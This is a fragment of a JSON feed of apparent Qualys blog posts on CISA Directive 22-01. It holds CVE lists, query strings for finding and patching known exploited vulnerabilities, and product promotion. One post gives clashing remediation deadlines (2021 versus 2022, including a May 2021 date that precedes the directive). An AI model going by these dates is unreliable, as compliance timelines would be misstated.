"CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104"], "modified": "2021-07-29T00:20:27", "id": "QUALYSBLOG:8DC9B53E981BBE193F6EC369D7FA85F8", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-09T06:36:02", "description": "[Start your VMDR 30-day, no-cost trial today](<https://www.qualys.com/forms/vmdr/>)\n\n## Overview\n\nOn November 3, 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>), "Reducing the Significant Risk of Known Exploited Vulnerabilities." [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of known exploited vulnerabilities that carry significant risk to the federal government and establishes requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires agencies to review and update agency internal vulnerability management procedures within 60 days according to this directive and remediate each vulnerability according to the timelines outlined in 'CISA's vulnerability catalog.\n\nQualys helps customers to identify and assess risk to organizations' digital infrastructure and automate remediation. Qualys' guidance for rapid response to Operational Directive is below.\n\n## Directive Scope\n\nThis directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency's behalf.\n\nHowever, CISA strongly recommends that private businesses and state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA's public catalog.\n\n## CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [291 Common Vulnerabilities and Exposures (CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. The Qualys Research team has mapped all these CVEs to applicable QIDs. You can view the complete list of CVEs and the corresponding QIDs [here](<https://success.qualys.com/discussions/s/article/000006791>).\n\n### Not all vulnerabilities are created equal\n\nOur quick review of the 291 CVEs posted by CISA suggests that not all vulnerabilities hold the same priority. CISA has ordered U.S. federal enterprises to apply patches as soon as possible. The remediation guidance can be grouped into three distinct categories:\n\n#### Category 1 \u2013 Past Due\n\nRemediation of 15 CVEs (~5%) are already past due. These vulnerabilities include some of the most significant exploits in the recent past, including PrintNightmare, SigRed, ZeroLogon, and vulnerabilities in CryptoAPI, Pulse Secure, and more. Qualys Patch Management can help you remediate most of these vulnerabilities.\n\n#### Category 2 \u2013 Patch in less than two weeks\n\n100 (34%) Vulnerabilities need to be patched in the next two weeks, or by **November 17, 2022**.\n\n#### Category 3 \u2013 Patch within six months\n\nThe remaining 176 vulnerabilities (60%) must be patched within the next six months or by **May 3, 2022**.\n\n## Detect CISA's Vulnerabilities Using Qualys VMDR\n\nThe Qualys Research team has released several remote and authenticated detections (QIDs) for the vulnerabilities. Since the directive includes 291 CVEs, we recommend executing your search based on vulnerability criticality, release date, or other categories.\n\nFor example, to detect critical CVEs released in 2021:\n\n_vulnerabilities.vulnerability.criticality:CRITICAL and vulnerabilities.vulnerability.cveIds:[ `CVE-2021-1497`,`CVE-2021-1498`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-1782`,`CVE-2021-1870`,`CVE-2021-1871`,`CVE-2021-1879`,`CVE-2021-1905`,`CVE-2021-1906`,`CVE-2021-20016`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-21972`,`CVE-2021-21985`,`CVE-2021-22005`,`CVE-2021-22205`,`CVE-2021-22502`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-22986`,`CVE-2021-26084`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-28663`,`CVE-2021-28664`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-30657`,`CVE-2021-30661`,`CVE-2021-30663`,`CVE-2021-30665`,`CVE-2021-30666`,`CVE-2021-30713`,`CVE-2021-30761`,`CVE-2021-30762`,`CVE-2021-30807`,`CVE-2021-30858`,`CVE-2021-30860`,`CVE-2021-30860`,`CVE-2021-30869`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40444`,`CVE-2021-40539`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42258` ]_\n\n\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using the VMDR Prioritization report.\n\n\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n\n\nWith Qualys Unified Dashboard, you can track your exposure to the CISA Known Exploited Vulnerabilities and gather your status and overall management in real-time. With trending enabled for dashboard widgets, you can keep track of the status of the vulnerabilities in your environment using the ["CISA 2010-21| KNOWN EXPLOITED VULNERABILITIES"](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard:\n\n\n\n### Summary Dashboard High Level Structured by Vendor:\n\n\n\n## Remediation\n\nTo comply with this directive, federal agencies must remediate most "Category 2" vulnerabilities by **November 17, 2021**, and "Category 3" by May 3, 2021. Qualys Patch Management can help streamline the remediation of many of these vulnerabilities.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive's aggressive remediation date of November 17, 2021. Running this query will find all required patches and allow quick and efficient deployment of those missing patches to all assets directly from within the Qualys Cloud Platform.\n\ncve:[`CVE-2021-1497`,`CVE-2021-1498`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-1782`,`CVE-2021-1870`,`CVE-2021-1871`,`CVE-2021-1879`,`CVE-2021-1905`,`CVE-2021-1906`,`CVE-2021-20016`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-21972`,`CVE-2021-21985`,`CVE-2021-22005`,`CVE-2021-22205`,`CVE-2021-22502`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-22986`,`CVE-2021-26084`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-27101`,`CVE-2021-27102`,`CVE-2021-27103`,`CVE-2021-27104`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-28663`,`CVE-2021-28664`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-30657`,`CVE-2021-30661`,`CVE-2021-30663`,`CVE-2021-30665`,`CVE-2021-30666`,`CVE-2021-30713`,`CVE-2021-30761`,`CVE-2021-30762`,`CVE-2021-30807`,`CVE-2021-30858`,`CVE-2021-30860`,`CVE-2021-30860`,`CVE-2021-30869`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40444`,`CVE-2021-40539`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42258` ]\n\n\n\nQualys patch content covers many Microsoft, Linux, and third-party applications; however, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch the remaining CVEs in this list.\n\nNote that the due date for \u201cCategory 1\u201d patches has already passed. To find missing patches in your environment for \u201cCategory 1\u201d past due CVEs, copy the following query into the Patch Management app:\n\ncve:['CVE-2021-1732\u2032,'CVE-2020-1350\u2032,'CVE-2020-1472\u2032,'CVE-2021-26855\u2032,'CVE-2021-26858\u2032,'CVE-2021-27065\u2032,'CVE-2020-0601\u2032,'CVE-2021-26857\u2032,'CVE-2021-22893\u2032,'CVE-2020-8243\u2032,'CVE-2021-22900\u2032,'CVE-2021-22894\u2032,'CVE-2020-8260\u2032,'CVE-2021-22899\u2032,'CVE-2019-11510']\n\n\n\n## Federal Enterprises and Agencies Can Act Now\n\nFor federal enterprises and agencies, it's a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive. Qualys solutions can help achieve compliance with this binding directive. Qualys Cloud Platform is FedRAMP authorized, with [107 FedRAMP authorizations](<https://marketplace.fedramp.gov/#!/product/qualys-cloud-platform?sort=-authorizations>).\n\nHere are a few steps Federal enterprises can take immediately:\n\n * Run vulnerability assessments against all your assets by leveraging various sensors such as Qualys agent, scanners, and more\n * Prioritize remediation by due dates\n * Identify all vulnerable assets automatically mapped into the threat feed\n * Use Patch Management to apply patches and other configurations changes\n * Track remediation progress through Unified Dashboards\n\n## Summary\n\nUnderstanding vulnerabilities is a critical but partial part of threat mitigation. Qualys VMDR helps customers discover, assess threats, assign risk, and remediate threats in one solution. Qualys customers rely on the accuracy of Qualys' threat intelligence to protect their digital environments and stay current with patch guidance. Using Qualys VMDR can help any organization efficiently respond to the CISA directive.\n\n## Getting Started\n\nLearn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution. Ready to get started? Sign up for a 30-day, no-cost [VMDR trial](<https://www.qualys.com/forms/vmdr/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2021-11-09T06:15:01", "type": "qualysblog", "title": "Qualys Response to CISA Alert: Binding Operational Directive 22-01", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-11510", "CVE-2020-0601", "CVE-2020-1350", "CVE-2020-1472", "CVE-2020-8243", "CVE-2020-8260", "CVE-2021-1497", "CVE-2021-1498", "CVE-2021-1647", "CVE-2021-1675", "CVE-2021-1732", "CVE-2021-1782", "CVE-2021-1870", "CVE-2021-1871", "CVE-2021-1879", "CVE-2021-1905", "CVE-2021-1906", "CVE-2021-20016", "CVE-2021-21017", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-21972", "CVE-2021-21985", "CVE-2021-22005", "CVE-2021-22205", "CVE-2021-22502", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-22986", "CVE-2021-26084", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27059", "CVE-2021-27065", "CVE-2021-27085", "CVE-2021-27101", "CVE-2021-27102", "CVE-2021-27103", "CVE-2021-27104", "CVE-2021-28310", "CVE-2021-28550", "CVE-2021-28663", "CVE-2021-28664", "CVE-2021-30116", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-30657", "CVE-2021-30661", "CVE-2021-30663", "CVE-2021-30665", "CVE-2021-30666", "CVE-2021-30713", "CVE-2021-30761", "CVE-2021-30762", "CVE-2021-30807", "CVE-2021-30858", "CVE-2021-30860", "CVE-2021-30869", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31207", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33739", "CVE-2021-33742", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-36741", "CVE-2021-36742", "CVE-2021-36942", "CVE-2021-36948", "CVE-2021-36955", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40444", "CVE-2021-40539", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42258"], "modified": "2021-11-09T06:15:01", "id": "QUALYSBLOG:BC22CE22A3E70823D5F0E944CBD5CE4A", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-25T19:27:09", "description": "_CISA released a directive in November 2021, recommending urgent and prioritized remediation of actively exploited vulnerabilities. Both government agencies and corporations should heed this advice. This blog outlines how Qualys Vulnerability Management, Detection & Response can be used by any organization to respond to this directive efficiently and effectively._\n\n### Situation\n\nLast November 2021, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) released a [Binding Operational Directive 22-01](<https://cyber.dhs.gov/bod/22-01/>) called \u201cReducing the Significant Risk of Known Exploited Vulnerabilities.\u201d [This directive](<https://www.cisa.gov/news/2021/11/03/cisa-releases-directive-reducing-significant-risk-known-exploited-vulnerabilities>) recommends urgent and prioritized remediation of the vulnerabilities that adversaries are actively exploiting. It establishes a CISA-managed catalog of Known Exploited Vulnerabilities that carry significant risk to the federal government and sets requirements for agencies to remediate these vulnerabilities.\n\nThis directive requires federal agencies to review and update internal vulnerability management procedures to remediate each vulnerability according to the timelines outlined in CISA\u2019s vulnerability catalog.\n\n### Directive Scope\n\nThis CISA directive applies to all software and hardware found on federal information systems managed on agency premises or hosted by third parties on an agency\u2019s behalf.\n\nHowever, CISA strongly recommends that public and private businesses as well as state, local, tribal, and territorial (SLTT) governments prioritize the mitigation of vulnerabilities listed in CISA\u2019s public catalog. This is truly vulnerability management guidance for all organizations to heed.\n\n### CISA Catalog of Known Exploited Vulnerabilities\n\nIn total, CISA posted a list of [379 Common Vulnerabilities and Exposures (CVEs)](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) that pose the highest risk to federal agencies. CISA\u2019s most recent update was issued on February 22, 2022.\n\nThe Qualys Research team is continuously updating CVEs to available QIDs (Qualys vulnerability identifiers) in the Qualys Knowledgebase, with the RTI field \u201cCISA Exploited\u201d and this is going to be a continuous approach, as CISA frequently amends with the latest CVE as part of their regular feeds.\n\nOut of these vulnerabilities, Directive 22-01 urges all organizations to reduce their exposure to cyberattacks by effectively prioritizing the remediation of the identified Vulnerabilities.\n\nCISA has ordered U.S. federal agencies to apply patches as soon as possible. The remediation guidance is grouped into multiple categories by CISA based on attack surface severity and time-to-remediate. The timelines are available in the [Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>) for each of the CVEs.\n\n### Detect CISA Vulnerabilities Using Qualys VMDR\n\nQualys helps customers to identify and assess the risk to their organizations\u2019 digital infrastructure, and then to automate remediation. Qualys\u2019 guidance for rapid response to Directive 22-01 follows.\n\nThe Qualys Research team has released multiple remote and authenticated detections (QIDs) for these vulnerabilities. Since the directive includes 379 CVEs (as of February 22, 2022) we recommend executing your search based on QQL (Qualys Query Language), as shown here for released QIDs by Qualys **_vulnerabilities.vulnerability.threatIntel.cisaKnownExploitedVulns:"true"_**\n\n\n\n### CISA Exploited RTI\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using VMDR Prioritization. Qualys has introduced an **RTI Category, CISA Exploited**.\n\nThis RTI indicates that the vulnerabilities are associated with the CISA catalog.\n\n\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n\n\nWith Qualys Unified Dashboard, you can track your exposure to CISA Known Exploited Vulnerabilities and track your status and overall management in real-time. With dashboard widgets, you can keep track of the status of vulnerabilities in your environment using the [\u201cCISA 2010-21| KNOWN EXPLOITED VULNERABILITIES\u201d](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard\n\n\n\n### Remediation\n\nTo comply with this directive, federal agencies need to remediate all vulnerabilities as per the remediation timelines suggested in [CISA Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>)**.**\n\nQualys patch content covers many Microsoft, Linux, and third-party applications. However, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch all the remaining CVEs in their list.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive\u2019s aggressive remediation timelines set by CISA. Running this query for specific CVEs will find required patches and allow quick and efficient deployment of those missing patches to all assets directly from within Qualys Cloud Platform.\n \n \n cve:[`CVE-2010-5326`,`CVE-2012-0158`,`CVE-2012-0391`,`CVE-2012-3152`,`CVE-2013-3900`,`CVE-2013-3906`,`CVE-2014-1761`,`CVE-2014-1776`,`CVE-2014-1812`,`CVE-2015-1635`,`CVE-2015-1641`,`CVE-2015-4852`,`CVE-2016-0167`,`CVE-2016-0185`,`CVE-2016-3088`,`CVE-2016-3235`,`CVE-2016-3643`,`CVE-2016-3976`,`CVE-2016-7255`,`CVE-2016-9563`,`CVE-2017-0143`,`CVE-2017-0144`,`CVE-2017-0145`,`CVE-2017-0199`,`CVE-2017-0262`,`CVE-2017-0263`,`CVE-2017-10271`,`CVE-2017-11774`,`CVE-2017-11882`,`CVE-2017-5638`,`CVE-2017-5689`,`CVE-2017-6327`,`CVE-2017-7269`,`CVE-2017-8464`,`CVE-2017-8759`,`CVE-2017-9791`,`CVE-2017-9805`,`CVE-2017-9841`,`CVE-2018-0798`,`CVE-2018-0802`,`CVE-2018-1000861`,`CVE-2018-11776`,`CVE-2018-15961`,`CVE-2018-15982`,`CVE-2018-2380`,`CVE-2018-4878`,`CVE-2018-4939`,`CVE-2018-6789`,`CVE-2018-7600`,`CVE-2018-8174`,`CVE-2018-8453`,`CVE-2018-8653`,`CVE-2019-0193`,`CVE-2019-0211`,`CVE-2019-0541`,`CVE-2019-0604`,`CVE-2019-0708`,`CVE-2019-0752`,`CVE-2019-0797`,`CVE-2019-0803`,`CVE-2019-0808`,`CVE-2019-0859`,`CVE-2019-0863`,`CVE-2019-10149`,`CVE-2019-10758`,`CVE-2019-11510`,`CVE-2019-11539`,`CVE-2019-1214`,`CVE-2019-1215`,`CVE-2019-1367`,`CVE-2019-1429`,`CVE-2019-1458`,`CVE-2019-16759`,`CVE-2019-17026`,`CVE-2019-17558`,`CVE-2019-18187`,`CVE-2019-18988`,`CVE-2019-2725`,`CVE-2019-8394`,`CVE-2019-9978`,`CVE-2020-0601`,`CVE-2020-0646`,`CVE-2020-0674`,`CVE-2020-0683`,`CVE-2020-0688`,`CVE-2020-0787`,`CVE-2020-0796`,`CVE-2020-0878`,`CVE-2020-0938`,`CVE-2020-0968`,`CVE-2020-0986`,`CVE-2020-10148`,`CVE-2020-10189`,`CVE-2020-1020`,`CVE-2020-1040`,`CVE-2020-1054`,`CVE-2020-1147`,`CVE-2020-11738`,`CVE-2020-11978`,`CVE-2020-1350`,`CVE-2020-13671`,`CVE-2020-1380`,`CVE-2020-13927`,`CVE-2020-1464`,`CVE-2020-1472`,`CVE-2020-14750`,`CVE-2020-14871`,`CVE-2020-14882`,`CVE-2020-14883`,`CVE-2020-15505`,`CVE-2020-15999`,`CVE-2020-16009`,`CVE-2020-16010`,`CVE-2020-16013`,`CVE-2020-16017`,`CVE-2020-17087`,`CVE-2020-17144`,`CVE-2020-17496`,`CVE-2020-17530`,`CVE-2020-24557`,`CVE-2020-25213`,`CVE-2020-2555`,`CVE-2020-6207`,`CVE-2020-6287`,`CVE-2020-6418`,`CVE-2020-6572`,`CVE-2020-6819`,`CVE-2020-6820`,`CVE-2020-8243`,`CVE-2020-8260`,`CVE-2020-8467`,`CVE-2020-8468`,`CVE-2020-8599`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-22204`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33766`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-35247`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36934`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37415`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40438`,`CVE-2021-40444`,`CVE-2021-40449`,`CVE-2021-40539`,`CVE-2021-4102`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42292`,`CVE-2021-42321`,`CVE-2021-43890`,`CVE-2021-44077`,`CVE-2021-44228`,`CVE-2021-44515`,`CVE-2022-0609`,`CVE-2022-21882`,`CVE-2022-24086`,`CVE-2010-1871`,`CVE-2017-12149`,`CVE-2019-13272` ]\n\n\n\nVulnerabilities can be validated through VMDR and a Patch Job can be configured for vulnerable assets.\n\n\n\n### Federal Enterprises and Agencies Can Act Now\n\nFor federal agencies and enterprises, it\u2019s a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive. Qualys solutions can help your organization to achieve compliance with this binding directive. Qualys Cloud Platform is FedRAMP authorized, with [107 FedRAMP authorizations](<https://marketplace.fedramp.gov/#!/product/qualys-cloud-platform?sort=-authorizations>) to our credit.\n\nHere are a few steps Federal entities can take immediately:\n\n * Run vulnerability assessments against all of your assets by leveraging our various sensors such as Qualys agent, scanners, and more\n * Prioritize remediation by due dates\n * Identify all vulnerable assets automatically mapped into the threat feed\n * Use Qualys Patch Management to apply patches and other configuration changes\n * Track remediation progress through our Unified Dashboards\n\n### Summary\n\nUnderstanding just which vulnerabilities exist in your environment is a critical but small part of threat mitigation. Qualys VMDR helps customers discover their exposure, assess threats, assign risk, and remediate threats \u2013 all in a single unified solution. Qualys customers rely on the accuracy of Qualys\u2019 threat intelligence to protect their digital environments and stay current with patch guidance. Using Qualys VMDR can help any size organization efficiently respond to CISA Binding Operational Directive 22-01.\n\n#### Getting Started\n\nLearn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution. Ready to get started? Sign up for a 30-day, no-cost [VMDR trial](<https://www.qualys.com/forms/vmdr/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2022-02-23T05:39:00", "type": "qualysblog", "title": "Managing CISA Known Exploited Vulnerabilities with Qualys VMDR", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1871", "CVE-2010-5326", "CVE-2012-0158", "CVE-2012-0391", "CVE-2012-3152", "CVE-2013-3900", "CVE-2013-3906", "CVE-2014-1761", "CVE-2014-1776", "CVE-2014-1812", "CVE-2015-1635", "CVE-2015-1641", "CVE-2015-4852", "CVE-2016-0167", "CVE-2016-0185", "CVE-2016-3088", "CVE-2016-3235", "CVE-2016-3643", "CVE-2016-3976", "CVE-2016-7255", "CVE-2016-9563", "CVE-2017-0143", "CVE-2017-0144", "CVE-2017-0145", "CVE-2017-0199", "CVE-2017-0262", "CVE-2017-0263", "CVE-2017-10271", "CVE-2017-11774", "CVE-2017-11882", "CVE-2017-12149", "CVE-2017-5638", "CVE-2017-5689", "CVE-2017-6327", "CVE-2017-7269", "CVE-2017-8464", "CVE-2017-8759", "CVE-2017-9791", "CVE-2017-9805", "CVE-2017-9841", "CVE-2018-0798", "CVE-2018-0802", "CVE-2018-1000861", "CVE-2018-11776", "CVE-2018-15961", "CVE-2018-15982", "CVE-2018-2380", "CVE-2018-4878", "CVE-2018-4939", "CVE-2018-6789", "CVE-2018-7600", "CVE-2018-8174", "CVE-2018-8453", "CVE-2018-8653", "CVE-2019-0193", "CVE-2019-0211", "CVE-2019-0541", "CVE-2019-0604", "CVE-2019-0708", "CVE-2019-0752", "CVE-2019-0797", "CVE-2019-0803", "CVE-2019-0808", "CVE-2019-0859", "CVE-2019-0863", "CVE-2019-10149", "CVE-2019-10758", "CVE-2019-11510", "CVE-2019-11539", "CVE-2019-1214", "CVE-2019-1215", "CVE-2019-13272", "CVE-2019-1367", "CVE-2019-1429", "CVE-2019-1458", "CVE-2019-16759", "CVE-2019-17026", "CVE-2019-17558", "CVE-2019-18187", "CVE-2019-18988", "CVE-2019-2725", "CVE-2019-8394", "CVE-2019-9978", "CVE-2020-0601", "CVE-2020-0646", "CVE-2020-0674", "CVE-2020-0683", "CVE-2020-0688", "CVE-2020-0787", "CVE-2020-0796", "CVE-2020-0878", "CVE-2020-0938", "CVE-2020-0968", "CVE-2020-0986", "CVE-2020-10148", "CVE-2020-10189", "CVE-2020-1020", "CVE-2020-1040", "CVE-2020-1054", "CVE-2020-1147", "CVE-2020-11738", "CVE-2020-11978", "CVE-2020-1350", "CVE-2020-13671", "CVE-2020-1380", "CVE-2020-13927", "CVE-2020-1464", "CVE-2020-1472", "CVE-2020-14750", "CVE-2020-14871", "CVE-2020-14882", "CVE-2020-14883", "CVE-2020-15505", "CVE-2020-15999", "CVE-2020-16009", "CVE-2020-16010", "CVE-2020-16013", "CVE-2020-16017", "CVE-2020-17087", "CVE-2020-17144", "CVE-2020-17496", "CVE-2020-17530", "CVE-2020-24557", "CVE-2020-25213", "CVE-2020-2555", "CVE-2020-6207", "CVE-2020-6287", "CVE-2020-6418", "CVE-2020-6572", "CVE-2020-6819", "CVE-2020-6820", "CVE-2020-8243", "CVE-2020-8260", "CVE-2020-8467", "CVE-2020-8468", "CVE-2020-8599", "CVE-2021-1647", "CVE-2021-1675", "CVE-2021-1732", "CVE-2021-21017", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-22204", "CVE-2021-22893", 